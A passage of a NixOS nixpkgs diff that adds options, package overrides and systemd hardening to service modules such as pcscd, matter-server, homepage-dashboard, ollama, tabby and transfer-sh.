+ in + lib.getExe script; + Type = "oneshot"; + }; + }; + + }; + +} diff --git a/nixos/modules/services/hardware/pcscd.nix b/nixos/modules/services/hardware/pcscd.nix index b5963e1d29a3d..77c2d9b53f03d 100644 --- a/nixos/modules/services/hardware/pcscd.nix +++ b/nixos/modules/services/hardware/pcscd.nix @@ -3,6 +3,7 @@ with lib; let + cfg = config.services.pcscd; cfgFile = pkgs.writeText "reader.conf" config.services.pcscd.readerConfig; package = if config.security.polkit.enable @@ -41,6 +42,12 @@ in See {manpage}`reader.conf(5)` for valid options. ''; }; + + extraArgs = mkOption { + type = types.listOf types.str; + default = [ ]; + description = lib.mdDoc "Extra command line arguments to be passed to the PCSC daemon."; + }; }; config = mkIf config.services.pcscd.enable { @@ -64,7 +71,7 @@ in # around it, we force the path to the cfgFile. # # https://github.com/NixOS/nixpkgs/issues/121088 - serviceConfig.ExecStart = [ "" "${package}/bin/pcscd -f -x -c ${cfgFile}" ]; + serviceConfig.ExecStart = [ "" "${lib.getExe package} -f -x -c ${cfgFile} ${lib.escapeShellArgs cfg.extraArgs}" ]; }; }; } diff --git a/nixos/modules/services/hardware/thinkfan.nix b/nixos/modules/services/hardware/thinkfan.nix index cca35f492b8e3..b62fb5e9f8c96 100644 --- a/nixos/modules/services/hardware/thinkfan.nix +++ b/nixos/modules/services/hardware/thinkfan.nix @@ -217,8 +217,13 @@ in { systemd.services = { thinkfan.environment.THINKFAN_ARGS = escapeShellArgs ([ "-c" configFile ] ++ cfg.extraArgs); - thinkfan.serviceConfig.Restart = "on-failure"; - thinkfan.serviceConfig.RestartSec = "30s"; + thinkfan.serviceConfig = { + Restart = "on-failure"; + RestartSec = "30s"; + + # Hardening + PrivateNetwork = true; + }; # must be added manually, see issue #81138 thinkfan.wantedBy = [ "multi-user.target" ]; diff --git a/nixos/modules/services/hardware/undervolt.nix b/nixos/modules/services/hardware/undervolt.nix index 67d8171587bb2..c4d4c6791a21b 100644 --- a/nixos/modules/services/hardware/undervolt.nix +++ b/nixos/modules/services/hardware/undervolt.nix @@ -12,6 +12,7 @@ let inherit (cfg) verbose temp + turbo ; # `core` and `cache` are both intentionally set to `cfg.coreOffset` as according to the undervolt docs: # @@ -105,6 +106,14 @@ in ''; }; + turbo = mkOption { + type = types.nullOr types.int; + default = null; + description = lib.mdDoc '' + Changes the Intel Turbo feature status (1 is disabled and 0 is enabled). + ''; + }; + p1.limit = mkOption { type = with types; nullOr int; default = null; diff --git a/nixos/modules/services/home-automation/ebusd.nix b/nixos/modules/services/home-automation/ebusd.nix index 519d116e0e55c..f68a8bdb6bfa2 100644 --- a/nixos/modules/services/home-automation/ebusd.nix +++ b/nixos/modules/services/home-automation/ebusd.nix @@ -15,12 +15,12 @@ let "--port=${toString cfg.port}" "--configpath=${cfg.configpath}" "--scanconfig=${cfg.scanconfig}" + "--log=all:${cfg.logs.all}" "--log=main:${cfg.logs.main}" "--log=network:${cfg.logs.network}" "--log=bus:${cfg.logs.bus}" "--log=update:${cfg.logs.update}" "--log=other:${cfg.logs.other}" - "--log=all:${cfg.logs.all}" ] ++ lib.optionals cfg.readonly [ "--readonly" ] ++ lib.optionals cfg.mqtt.enable [ diff --git a/nixos/modules/services/home-automation/matter-server.nix b/nixos/modules/services/home-automation/matter-server.nix new file mode 100644 index 0000000000000..864ef9e200837 --- /dev/null +++ b/nixos/modules/services/home-automation/matter-server.nix @@ -0,0 +1,125 @@ +{ lib +, pkgs +, config +, ... +}: + +with lib; + +let + cfg = config.services.matter-server; + storageDir = "matter-server"; + storagePath = "/var/lib/${storageDir}"; + vendorId = "4939"; # home-assistant vendor ID +in + +{ + meta.maintainers = with lib.maintainers; [ leonm1 ]; + + options.services.matter-server = with types; { + enable = mkEnableOption (lib.mdDoc "Matter-server"); + + package = mkPackageOptionMD pkgs "python-matter-server" { }; + + port = mkOption { + type = types.port; + default = 5580; + description = "Port to expose the matter-server service on."; + }; + + logLevel = mkOption { + type = types.enum [ "critical" "error" "warning" "info" "debug" ]; + default = "info"; + description = "Verbosity of logs from the matter-server"; + }; + + extraArgs = mkOption { + type = listOf str; + default = []; + description = '' + Extra arguments to pass to the matter-server executable. + See https://github.com/home-assistant-libs/python-matter-server?tab=readme-ov-file#running-the-development-server for options. + ''; + }; + }; + + config = mkIf cfg.enable { + systemd.services.matter-server = { + after = [ "network-online.target" ]; + before = [ "home-assistant.service" ]; + wants = [ "network-online.target" ]; + wantedBy = [ "multi-user.target" ]; + description = "Matter Server"; + environment.HOME = storagePath; + serviceConfig = { + ExecStart = (concatStringsSep " " [ + "${cfg.package}/bin/matter-server" + "--port" (toString cfg.port) + "--vendorid" vendorId + "--storage-path" storagePath + "--log-level" "${cfg.logLevel}" + "${escapeShellArgs cfg.extraArgs}" + ]); + # Start with a clean root filesystem, and allowlist what the container + # is permitted to access. + TemporaryFileSystem = "/"; + # Allowlist /nix/store (to allow the binary to find its dependencies) + # and dbus. + ReadOnlyPaths = "/nix/store /run/dbus"; + # Let systemd manage `/var/lib/matter-server` for us inside the + # ephemeral TemporaryFileSystem. + StateDirectory = storageDir; + # `python-matter-server` writes to /data even when a storage-path is + # specified. This bind-mount points /data at the systemd-managed + # /var/lib/matter-server, so all files get dropped into the state + # directory. + BindPaths = "${storagePath}:/data"; + + # Hardening bits + AmbientCapabilities = ""; + CapabilityBoundingSet = ""; + DevicePolicy = "closed"; + DynamicUser = true; + LockPersonality = true; + MemoryDenyWriteExecute = true; + NoNewPrivileges = true; + PrivateDevices = true; + PrivateTmp = true; + PrivateUsers = true; + ProcSubset = "pid"; + ProtectClock = true; + ProtectControlGroups = true; + ProtectHome = true; + ProtectHostname = true; + ProtectKernelLogs = true; + ProtectKernelModules = true; + ProtectKernelTunables = true; + ProtectProc = "invisible"; + RestrictAddressFamilies = [ + "AF_INET" + "AF_INET6" + "AF_NETLINK" + ]; + RestrictNamespaces = true; + RestrictRealtime = true; + RestrictSUIDSGID = true; + SystemCallFilter = concatStringsSep " " [ + "~" # Blocklist + "@clock" + "@cpu-emulation" + "@debug" + "@module" + "@mount" + "@obsolete" + "@privileged" + "@raw-io" + "@reboot" + "@resources" + "@swap" + ]; + UMask = "0077"; + }; + }; + }; +} + diff --git a/nixos/modules/services/mail/listmonk.nix b/nixos/modules/services/mail/listmonk.nix index 945eb436c1f23..d6399304cc108 100644 --- a/nixos/modules/services/mail/listmonk.nix +++ b/nixos/modules/services/mail/listmonk.nix @@ -187,7 +187,11 @@ in { # Indeed, it will try to create all the folders and realize one of them already exist. # Therefore, we have to create it ourselves. ''${pkgs.coreutils}/bin/mkdir -p "''${STATE_DIRECTORY}/listmonk/uploads"'' - "${cfg.package}/bin/listmonk --config ${cfgFile} --idempotent --install --upgrade --yes" + # setup database if not already done + "${cfg.package}/bin/listmonk --config ${cfgFile} --idempotent --install --yes" + # apply db migrations (setup and migrations can not be done in one step + # with "--install --upgrade" listmonk ignores the upgrade) + "${cfg.package}/bin/listmonk --config ${cfgFile} --upgrade --yes" "${updateDatabaseConfigScript}/bin/update-database-config.sh" ]; ExecStart = "${cfg.package}/bin/listmonk --config ${cfgFile}"; diff --git a/nixos/modules/services/mail/stalwart-mail.nix b/nixos/modules/services/mail/stalwart-mail.nix index f576a426b318f..8ab3497f7a175 100644 --- a/nixos/modules/services/mail/stalwart-mail.nix +++ b/nixos/modules/services/mail/stalwart-mail.nix @@ -32,10 +32,15 @@ in { global.tracing.level = mkDefault "info"; queue.path = mkDefault "${dataDir}/queue"; report.path = mkDefault "${dataDir}/reports"; + store.db.type = mkDefault "sqlite"; store.db.path = mkDefault "${dataDir}/data/index.sqlite3"; - store.blob.type = mkDefault "local"; - store.blob.local.path = mkDefault "${dataDir}/data/blobs"; + store.blob.type = mkDefault "fs"; + store.blob.path = mkDefault "${dataDir}/data/blobs"; + storage.data = mkDefault "db"; + storage.fts = mkDefault "db"; + storage.blob = mkDefault "blob"; resolver.type = mkDefault "system"; + resolver.public-suffix = mkDefault ["https://publicsuffix.org/list/public_suffix_list.dat"]; }; systemd.services.stalwart-mail = { @@ -57,8 +62,8 @@ in { KillSignal = "SIGINT"; Restart = "on-failure"; RestartSec = 5; - StandardOutput = "syslog"; - StandardError = "syslog"; + StandardOutput = "journal"; + StandardError = "journal"; SyslogIdentifier = "stalwart-mail"; DynamicUser = true; diff --git a/nixos/modules/services/misc/atuin.nix b/nixos/modules/services/misc/atuin.nix index 2d6ffc510ce55..7e89929884d6f 100644 --- a/nixos/modules/services/misc/atuin.nix +++ b/nixos/modules/services/misc/atuin.nix @@ -8,6 +8,8 @@ in services.atuin = { enable = lib.mkEnableOption (mdDoc "Atuin server for shell history sync"); + package = lib.mkPackageOption pkgs "atuin" { }; + openRegistration = mkOption { type = types.bool; default = false; @@ -52,10 +54,13 @@ in }; uri = mkOption { - type = types.str; + type = types.nullOr types.str; default = "postgresql:///atuin?host=/run/postgresql"; example = "postgresql://atuin@localhost:5432/atuin"; - description = mdDoc "URI to the database"; + description = mdDoc '' + URI to the database. + Can be set to null in which case ATUIN_DB_URI should be set through an EnvironmentFile + ''; }; }; }; @@ -85,7 +90,7 @@ in wantedBy = [ "multi-user.target" ]; serviceConfig = { - ExecStart = "${pkgs.atuin}/bin/atuin server start"; + ExecStart = "${lib.getExe cfg.package} server start"; RuntimeDirectory = "atuin"; RuntimeDirectoryMode = "0700"; DynamicUser = true; @@ -132,9 +137,10 @@ in ATUIN_PORT = toString cfg.port; ATUIN_MAX_HISTORY_LENGTH = toString cfg.maxHistoryLength; ATUIN_OPEN_REGISTRATION = lib.boolToString cfg.openRegistration; - ATUIN_DB_URI = cfg.database.uri; ATUIN_PATH = cfg.path; ATUIN_CONFIG_DIR = "/run/atuin"; # required to start, but not used as configuration is via environment variables + } // lib.optionalAttrs (cfg.database.uri != null) { + ATUIN_DB_URI = cfg.database.uri; }; }; diff --git a/nixos/modules/services/misc/docker-registry.nix b/nixos/modules/services/misc/docker-registry.nix index e8fbc05423d31..78d1d6339ed65 100644 --- a/nixos/modules/services/misc/docker-registry.nix +++ b/nixos/modules/services/misc/docker-registry.nix @@ -63,6 +63,12 @@ in { type = types.port; }; + openFirewall = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc "Opens the port used by the firewall."; + }; + storagePath = mkOption { type = types.nullOr types.path; default = "/var/lib/docker-registry"; @@ -154,5 +160,9 @@ in { isSystemUser = true; }; users.groups.docker-registry = {}; + + networking.firewall = mkIf cfg.openFirewall { + allowedTCPPorts = [ cfg.port ]; + }; }; } diff --git a/nixos/modules/services/misc/etebase-server.nix b/nixos/modules/services/misc/etebase-server.nix index 045048a1a2e32..f5a5e8a780d48 100644 --- a/nixos/modules/services/misc/etebase-server.nix +++ b/nixos/modules/services/misc/etebase-server.nix @@ -5,9 +5,6 @@ with lib; let cfg = config.services.etebase-server; - pythonEnv = pkgs.python3.withPackages (ps: with ps; - [ etebase-server daphne ]); - iniFmt = pkgs.formats.ini {}; configIni = iniFmt.generate "etebase-server.ini" cfg.settings; @@ -46,6 +43,13 @@ in ''; }; + package = mkOption { + type = types.package; + default = pkgs.python3.pkgs.etebase-server; + defaultText = literalExpression "pkgs.python3.pkgs.etebase-server"; + description = lib.mdDoc "etebase-server package to use."; + }; + dataDir = mkOption { type = types.str; default = "/var/lib/etebase-server"; @@ -164,7 +168,7 @@ in (runCommand "etebase-server" { nativeBuildInputs = [ makeWrapper ]; } '' - makeWrapper ${pythonEnv}/bin/etebase-server \ + makeWrapper ${cfg.package}/bin/etebase-server \ $out/bin/etebase-server \ --chdir ${escapeShellArg cfg.dataDir} \ --prefix ETEBASE_EASY_CONFIG_PATH : "${configIni}" @@ -178,8 +182,8 @@ in systemd.services.etebase-server = { description = "An Etebase (EteSync 2.0) server"; after = [ "network.target" "systemd-tmpfiles-setup.service" ]; + path = [ cfg.package ]; wantedBy = [ "multi-user.target" ]; - path = [ pythonEnv ]; serviceConfig = { User = cfg.user; Restart = "always"; @@ -187,24 +191,26 @@ in }; environment = { ETEBASE_EASY_CONFIG_PATH = configIni; + PYTHONPATH = cfg.package.pythonPath; }; preStart = '' # Auto-migrate on first run or if the package has changed versionFile="${cfg.dataDir}/src-version" - if [[ $(cat "$versionFile" 2>/dev/null) != ${pkgs.etebase-server} ]]; then + if [[ $(cat "$versionFile" 2>/dev/null) != ${cfg.package} ]]; then etebase-server migrate --no-input etebase-server collectstatic --no-input --clear - echo ${pkgs.etebase-server} > "$versionFile" + echo ${cfg.package} > "$versionFile" fi ''; script = let + python = cfg.package.python; networking = if cfg.unixSocket != null - then "-u ${cfg.unixSocket}" - else "-b 0.0.0.0 -p ${toString cfg.port}"; + then "--uds ${cfg.unixSocket}" + else "--host 0.0.0.0 --port ${toString cfg.port}"; in '' - cd "${pythonEnv}/lib/etebase-server"; - daphne ${networking} \ + ${python.pkgs.uvicorn}/bin/uvicorn ${networking} \ + --app-dir ${cfg.package}/${cfg.package.python.sitePackages} \ etebase_server.asgi:application ''; }; diff --git a/nixos/modules/services/misc/homepage-dashboard.nix b/nixos/modules/services/misc/homepage-dashboard.nix index 07a09e2b6bbf5..02f1378cb0d59 100644 --- a/nixos/modules/services/misc/homepage-dashboard.nix +++ b/nixos/modules/services/misc/homepage-dashboard.nix @@ -6,6 +6,8 @@ let cfg = config.services.homepage-dashboard; + # Define the settings format used for this program + settingsFormat = pkgs.formats.yaml { }; in { options = { @@ -25,31 +27,217 @@ in default = 8082; description = lib.mdDoc "Port for Homepage to bind to."; }; + + environmentFile = lib.mkOption { + type = lib.types.str; + description = '' + The path to an environment file that contains environment variables to pass + to the homepage-dashboard service, for the purpose of passing secrets to + the service. + + See the upstream documentation: + + https://gethomepage.dev/latest/installation/docker/#using-environment-secrets + ''; + default = ""; + }; + + customCSS = lib.mkOption { + type = lib.types.lines; + description = lib.mdDoc '' + Custom CSS for styling Homepage. + + See https://gethomepage.dev/latest/configs/custom-css-js/. + ''; + default = ""; + }; + + customJS = lib.mkOption { + type = lib.types.lines; + description = lib.mdDoc '' + Custom Javascript for Homepage. + + See https://gethomepage.dev/latest/configs/custom-css-js/. + ''; + default = ""; + }; + + bookmarks = lib.mkOption { + inherit (settingsFormat) type; + description = lib.mdDoc '' + Homepage bookmarks configuration. + + See https://gethomepage.dev/latest/configs/bookmarks/. + ''; + # Defaults: https://github.com/gethomepage/homepage/blob/main/src/skeleton/bookmarks.yaml + example = [ + { + Developer = [ + { Github = [{ abbr = "GH"; href = "https://github.com/"; }]; } + ]; + } + { + Entertainment = [ + { YouTube = [{ abbr = "YT"; href = "https://youtube.com/"; }]; } + ]; + } + ]; + default = [ ]; + }; + + services = lib.mkOption { + inherit (settingsFormat) type; + description = lib.mdDoc '' + Homepage services configuration. + + See https://gethomepage.dev/latest/configs/services/. + ''; + # Defaults: https://github.com/gethomepage/homepage/blob/main/src/skeleton/services.yaml + example = [ + { + "My First Group" = [ + { + "My First Service" = { + href = "http://localhost/"; + description = "Homepage is awesome"; + }; + } + ]; + } + { + "My Second Group" = [ + { + "My Second Service" = { + href = "http://localhost/"; + description = "Homepage is the best"; + }; + } + ]; + } + ]; + default = [ ]; + }; + + widgets = lib.mkOption { + inherit (settingsFormat) type; + description = lib.mdDoc '' + Homepage widgets configuration. + + See https://gethomepage.dev/latest/configs/service-widgets/. + ''; + # Defaults: https://github.com/gethomepage/homepage/blob/main/src/skeleton/widgets.yaml + example = [ + { + resources = { + cpu = true; + memory = true; + disk = "/"; + }; + } + { + search = { + provider = "duckduckgo"; + target = "_blank"; + }; + } + ]; + default = [ ]; + }; + + kubernetes = lib.mkOption { + inherit (settingsFormat) type; + description = lib.mdDoc '' + Homepage kubernetes configuration. + + See https://gethomepage.dev/latest/configs/kubernetes/. + ''; + default = { }; + }; + + docker = lib.mkOption { + inherit (settingsFormat) type; + description = lib.mdDoc '' + Homepage docker configuration. + + See https://gethomepage.dev/latest/configs/docker/. + ''; + default = { }; + }; + + settings = lib.mkOption { + inherit (settingsFormat) type; + description = lib.mdDoc '' + Homepage settings. + + See https://gethomepage.dev/latest/configs/settings/. + ''; + # Defaults: https://github.com/gethomepage/homepage/blob/main/src/skeleton/settings.yaml + default = { }; + }; }; }; - config = lib.mkIf cfg.enable { - systemd.services.homepage-dashboard = { - description = "Homepage Dashboard"; - after = [ "network.target" ]; - wantedBy = [ "multi-user.target" ]; + config = + let + # If homepage-dashboard is enabled, but none of the configuration values have been updated, + # then default to "unmanaged" configuration which is manually updated in + # var/lib/homepage-dashboard. This is to maintain backwards compatibility, and should be + # deprecated in a future release. + managedConfig = !( + cfg.bookmarks == [ ] && + cfg.customCSS == "" && + cfg.customJS == "" && + cfg.docker == { } && + cfg.kubernetes == { } && + cfg.services == [ ] && + cfg.settings == { } && + cfg.widgets == [ ] + ); + + configDir = if managedConfig then "/etc/homepage-dashboard" else "/var/lib/homepage-dashboard"; + + msg = "using unmanaged configuration for homepage-dashboard is deprecated and will be removed" + + " in 24.05. please see the NixOS documentation for `services.homepage-dashboard' and add" + + " your bookmarks, services, widgets, and other configuration using the options provided."; + in + lib.mkIf cfg.enable { + warnings = lib.optional (!managedConfig) msg; - environment = { - HOMEPAGE_CONFIG_DIR = "/var/lib/homepage-dashboard"; - PORT = "${toString cfg.listenPort}"; + environment.etc = lib.mkIf managedConfig { + "homepage-dashboard/custom.css".text = cfg.customCSS; + "homepage-dashboard/custom.js".text = cfg.customJS; + + "homepage-dashboard/bookmarks.yaml".source = settingsFormat.generate "bookmarks.yaml" cfg.bookmarks; + "homepage-dashboard/docker.yaml".source = settingsFormat.generate "docker.yaml" cfg.docker; + "homepage-dashboard/kubernetes.yaml".source = settingsFormat.generate "kubernetes.yaml" cfg.kubernetes; + "homepage-dashboard/services.yaml".source = settingsFormat.generate "services.yaml" cfg.services; + "homepage-dashboard/settings.yaml".source = settingsFormat.generate "settings.yaml" cfg.settings; + "homepage-dashboard/widgets.yaml".source = settingsFormat.generate "widgets.yaml" cfg.widgets; }; - serviceConfig = { - Type = "simple"; - DynamicUser = true; - StateDirectory = "homepage-dashboard"; - ExecStart = "${lib.getExe cfg.package}"; - Restart = "on-failure"; + systemd.services.homepage-dashboard = { + description = "Homepage Dashboard"; + after = [ "network.target" ]; + wantedBy = [ "multi-user.target" ]; + + environment = { + HOMEPAGE_CONFIG_DIR = configDir; + PORT = toString cfg.listenPort; + LOG_TARGETS = lib.mkIf managedConfig "stdout"; + }; + + serviceConfig = { + Type = "simple"; + DynamicUser = true; + EnvironmentFile = lib.mkIf (cfg.environmentFile != null) cfg.environmentFile; + StateDirectory = lib.mkIf (!managedConfig) "homepage-dashboard"; + ExecStart = lib.getExe cfg.package; + Restart = "on-failure"; + }; }; - }; - networking.firewall = lib.mkIf cfg.openFirewall { - allowedTCPPorts = [ cfg.listenPort ]; + networking.firewall = lib.mkIf cfg.openFirewall { + allowedTCPPorts = [ cfg.listenPort ]; + }; }; - }; } diff --git a/nixos/modules/services/misc/ollama.nix b/nixos/modules/services/misc/ollama.nix index d9359d2b5cd44..3ac3beb4de078 100644 --- a/nixos/modules/services/misc/ollama.nix +++ b/nixos/modules/services/misc/ollama.nix @@ -1,27 +1,44 @@ -{ config, lib, pkgs, ... }: let +{ config, lib, pkgs, ... }: +let + inherit (lib) types; cfg = config.services.ollama; - -in { - + ollamaPackage = cfg.package.override { + inherit (cfg) acceleration; + linuxPackages = config.boot.kernelPackages // { + nvidia_x11 = config.hardware.nvidia.package; + }; + }; +in +{ options = { services.ollama = { enable = lib.mkEnableOption ( lib.mdDoc "Server for local large language models" ); listenAddress = lib.mkOption { - type = lib.types.str; + type = types.str; default = "127.0.0.1:11434"; description = lib.mdDoc '' Specifies the bind address on which the ollama server HTTP interface listens. ''; }; + acceleration = lib.mkOption { + type = types.nullOr (types.enum [ "rocm" "cuda" ]); + default = null; + example = "rocm"; + description = lib.mdDoc '' + Specifies the interface to use for hardware acceleration. + + - `rocm`: supported by modern AMD GPUs + - `cuda`: supported by modern NVIDIA GPUs + ''; + }; package = lib.mkPackageOption pkgs "ollama" { }; }; }; config = lib.mkIf cfg.enable { - systemd = { services.ollama = { wantedBy = [ "multi-user.target" ]; @@ -33,7 +50,7 @@ in { OLLAMA_HOST = cfg.listenAddress; }; serviceConfig = { - ExecStart = "${lib.getExe cfg.package} serve"; + ExecStart = "${lib.getExe ollamaPackage} serve"; WorkingDirectory = "/var/lib/ollama"; StateDirectory = [ "ollama" ]; DynamicUser = true; @@ -41,10 +58,8 @@ in { }; }; - environment.systemPackages = [ cfg.package ]; - + environment.systemPackages = [ ollamaPackage ]; }; - meta.maintainers = with lib.maintainers; [ onny ]; - + meta.maintainers = with lib.maintainers; [ abysssol onny ]; } diff --git a/nixos/modules/services/misc/paperless.nix b/nixos/modules/services/misc/paperless.nix index 1256d8315c8b7..9314c4f3848d8 100644 --- a/nixos/modules/services/misc/paperless.nix +++ b/nixos/modules/services/misc/paperless.nix @@ -307,6 +307,9 @@ in Restart = "on-failure"; }; environment = env; + # Allow the consumer to access the private /tmp directory of the server. + # This is required to support consuming files via a local folder. + unitConfig.JoinsNamespaceOf = "paperless-task-queue.service"; }; systemd.services.paperless-web = { @@ -339,6 +342,7 @@ in User = cfg.user; Restart = "on-failure"; + LimitNOFILE = 65536; # gunicorn needs setuid, liblapack needs mbind SystemCallFilter = defaultServiceConfig.SystemCallFilter ++ [ "@setuid mbind" ]; # Needs to serve web page diff --git a/nixos/modules/services/misc/sourcehut/default.nix b/nixos/modules/services/misc/sourcehut/default.nix index 80a6162b21680..557d6d7e71683 100644 --- a/nixos/modules/services/misc/sourcehut/default.nix +++ b/nixos/modules/services/misc/sourcehut/default.nix @@ -790,13 +790,21 @@ in ''; }; systemd.tmpfiles.settings."10-sourcehut-gitsrht" = mkIf cfg.git.enable ( - builtins.listToAttrs (map (name: { - name = "/var/log/sourcehut/gitsrht-${name}"; - value.f = { - inherit (cfg.git) user group; - mode = "0644"; - }; - }) [ "keys" "shell" "update-hook" ]) + mkMerge [ + (builtins.listToAttrs (map (name: { + name = "/var/log/sourcehut/gitsrht-${name}"; + value.f = { + inherit (cfg.git) user group; + mode = "0644"; + }; + }) [ "keys" "shell" "update-hook" ])) + { + ${cfg.settings."git.sr.ht".repos}.d = { + inherit (cfg.git) user group; + mode = "0644"; + }; + } + ] ); systemd.services.sshd = { preStart = mkIf cfg.hg.enable '' diff --git a/nixos/modules/services/misc/tabby.nix b/nixos/modules/services/misc/tabby.nix new file mode 100644 index 0000000000000..a3072e5df75ea --- /dev/null +++ b/nixos/modules/services/misc/tabby.nix @@ -0,0 +1,203 @@ +{ config, lib, pkgs, ... }: +let + inherit (lib) types; + + cfg = config.services.tabby; + format = pkgs.formats.toml { }; + tabbyPackage = cfg.package.override { + inherit (cfg) acceleration; + }; +in +{ + options = { + services.tabby = { + enable = lib.mkEnableOption ( + lib.mdDoc "Self-hosted AI coding assistant using large language models" + ); + + package = lib.mkPackageOption pkgs "tabby" { }; + + port = lib.mkOption { + type = types.port; + default = 11029; + description = lib.mdDoc '' + Specifies the bind port on which the tabby server HTTP interface listens. + ''; + }; + + model = lib.mkOption { + type = types.str; + default = "TabbyML/StarCoder-1B"; + description = lib.mdDoc '' + Specify the model that tabby will use to generate completions. + + This model will be downloaded automatically if it is not already present. + + If you want to utilize an existing model that you've already + downloaded you'll need to move it into tabby's state directory which + lives in `/var/lib/tabby`. Because the tabby.service is configured to + use a DyanmicUser the service will need to have been started at least + once before you can move the locally existing model into + `/var/lib/tabby`. You can set the model to 'none' and tabby will + startup and fail to download a model, but will have created the + `/var/lib/tabby` directory. You can then copy over the model manually + into `/var/lib/tabby`, update the model option to the name you just + downloaded and copied over then `nixos-rebuild switch` to start using + it. + + $ tabby download --model TabbyML/DeepseekCoder-6.7B + $ find ~/.tabby/ | tail -n1 + /home/ghthor/.tabby/models/TabbyML/DeepseekCoder-6.7B/ggml/q8_0.v2.gguf + $ sudo rsync -r ~/.tabby/models/ /var/lib/tabby/models/ + $ sudo chown -R tabby:tabby /var/lib/tabby/models/ + + See for Model Options: + > https://github.com/TabbyML/registry-tabby + ''; + }; + + acceleration = lib.mkOption { + type = types.nullOr (types.enum [ "cpu" "rocm" "cuda" "metal" ]); + default = null; + example = "rocm"; + description = lib.mdDoc '' + Specifies the device to use for hardware acceleration. + + - `cpu`: no acceleration just use the CPU + - `rocm`: supported by modern AMD GPUs + - `cuda`: supported by modern NVIDIA GPUs + - `metal`: supported on darwin aarch64 machines + + Tabby will try and determine what type of acceleration that is + already enabled in your configuration when `acceleration = null`. + + - nixpkgs.config.cudaSupport + - nixpkgs.config.rocmSupport + - if stdenv.isDarwin && stdenv.isAarch64 + + IFF multiple acceleration methods are found to be enabled or if you + haven't set either `cudaSupport or rocmSupport` you will have to + specify the device type manually here otherwise it will default to + the first from the list above or to cpu. + ''; + }; + + settings = lib.mkOption { + inherit (format) type; + default = { }; + description = lib.mdDoc '' + Tabby scheduler configuration + + See for more details: + > https://tabby.tabbyml.com/docs/configuration/#repository-context-for-code-completion + ''; + example = lib.literalExpression '' + settings = { + repositories = [ + { name = "tabby"; git_url = "https://github.com/TabbyML/tabby.git"; } + { name = "CTranslate2"; git_url = "git@github.com:OpenNMT/CTranslate2.git"; } + + # local directory is also supported, but limited by systemd DynamicUser=1 + # adding local repositories will need to be done manually + { name = "repository_a"; git_url = "file:///var/lib/tabby/repository_a"; } + ]; + }; + ''; + }; + + usageCollection = lib.mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Enable sending anonymous usage data. + + See for more details: + > https://tabby.tabbyml.com/docs/configuration#usage-collection + ''; + }; + + indexInterval = lib.mkOption { + type = types.str; + default = "5hours"; + example = "5hours"; + description = lib.mdDoc '' + Run tabby scheduler to generate the index database at this interval. + Updates by default every 5 hours. This value applies to + `OnUnitInactiveSec` + + The format is described in + {manpage}`systemd.time(7)`. + + To disable running `tabby scheduler --now` updates, set to `"never"` + ''; + }; + }; + }; + + # TODO(ghthor): firewall config + + config = lib.mkIf cfg.enable { + environment = { + etc."tabby/config.toml".source = format.generate "config.toml" cfg.settings; + systemPackages = [ tabbyPackage ]; + }; + + + systemd = let + serviceUser = { + WorkingDirectory = "/var/lib/tabby"; + StateDirectory = [ "tabby" ]; + ConfigurationDirectory = [ "tabby" ]; + DynamicUser = true; + User = "tabby"; + Group = "tabby"; + }; + + serviceEnv = lib.mkMerge [ + { + TABBY_ROOT = "%S/tabby"; + } + (lib.mkIf (!cfg.usageCollection) { + TABBY_DISABLE_USAGE_COLLECTION = "1"; + }) + ]; + in { + services.tabby = { + wantedBy = [ "multi-user.target" ]; + description = "Self-hosted AI coding assistant using large language models"; + after = [ "network.target" ]; + environment = serviceEnv; + serviceConfig = lib.mkMerge [ + serviceUser + { + ExecStart = + "${lib.getExe tabbyPackage} serve --model ${cfg.model} --port ${toString cfg.port} --device ${tabbyPackage.featureDevice}"; + } + ]; + }; + + services.tabby-scheduler = lib.mkIf (cfg.indexInterval != "never") { + wantedBy = [ "multi-user.target" ]; + description = "Tabby repository indexing service"; + after = [ "network.target" ]; + environment = serviceEnv; + preStart = "cp -f /etc/tabby/config.toml \${TABBY_ROOT}/config.toml"; + serviceConfig = lib.mkMerge [ + serviceUser + { + # Type = "oneshot"; + ExecStart = "${lib.getExe tabbyPackage} scheduler --now"; + } + ]; + }; + timers.tabby-scheduler = lib.mkIf (cfg.indexInterval != "never") { + description = "Update timer for tabby-scheduler"; + partOf = [ "tabby-scheduler.service" ]; + wantedBy = [ "timers.target" ]; + timerConfig.OnUnitInactiveSec = cfg.indexInterval; + }; + }; + }; + + meta.maintainers = with lib.maintainers; [ ghthor ]; +} diff --git a/nixos/modules/services/misc/tandoor-recipes.nix b/nixos/modules/services/misc/tandoor-recipes.nix index 6c51a9bb85550..a8300ecd52337 100644 --- a/nixos/modules/services/misc/tandoor-recipes.nix +++ b/nixos/modules/services/misc/tandoor-recipes.nix @@ -17,14 +17,11 @@ let lib.mapAttrs (_: toString) cfg.extraConfig ); - manage = - let - setupEnv = lib.concatStringsSep "\n" (mapAttrsToList (name: val: "export ${name}=\"${val}\"") env); - in - pkgs.writeShellScript "manage" '' - ${setupEnv} - exec ${pkg}/bin/tandoor-recipes "$@" - ''; + manage = pkgs.writeShellScript "manage" '' + set -o allexport # Export the following env vars + ${lib.toShellVars env} + exec ${pkg}/bin/tandoor-recipes "$@" + ''; in { meta.maintainers = with maintainers; [ ambroisie ]; diff --git a/nixos/modules/services/misc/transfer-sh.nix b/nixos/modules/services/misc/transfer-sh.nix new file mode 100644 index 0000000000000..899d9dfc3c108 --- /dev/null +++ b/nixos/modules/services/misc/transfer-sh.nix @@ -0,0 +1,102 @@ +{ config, lib, pkgs, ... }: + +let + cfg = config.services.transfer-sh; + inherit (lib) + mkDefault mkEnableOption mkPackageOption mkIf mkOption + types mapAttrs isBool getExe boolToString mdDoc optionalAttrs; +in +{ + options.services.transfer-sh = { + enable = mkEnableOption (mdDoc "Easy and fast file sharing from the command-line"); + + package = mkPackageOption pkgs "transfer-sh" { }; + + settings = mkOption { + type = types.submodule { freeformType = with types; attrsOf (oneOf [ bool int str ]); }; + default = { }; + example = { + LISTENER = ":8080"; + BASEDIR = "/var/lib/transfer.sh"; + TLS_LISTENER_ONLY = false; + }; + description = mdDoc '' + Additional configuration for transfer-sh, see + <https://github.com/dutchcoders/transfer.sh#usage-1> + for supported values. + + For secrets use secretFile option instead. + ''; + }; + + provider = mkOption { + type = types.enum [ "local" "s3" "storj" "gdrive" ]; + default = "local"; + description = mdDoc "Storage providers to use"; + }; + + secretFile = mkOption { + type = types.nullOr types.path; + default = null; + example = "/run/secrets/transfer-sh.env"; + description = mdDoc '' + Path to file containing environment variables. + Useful for passing down secrets. + Some variables that can be considered secrets 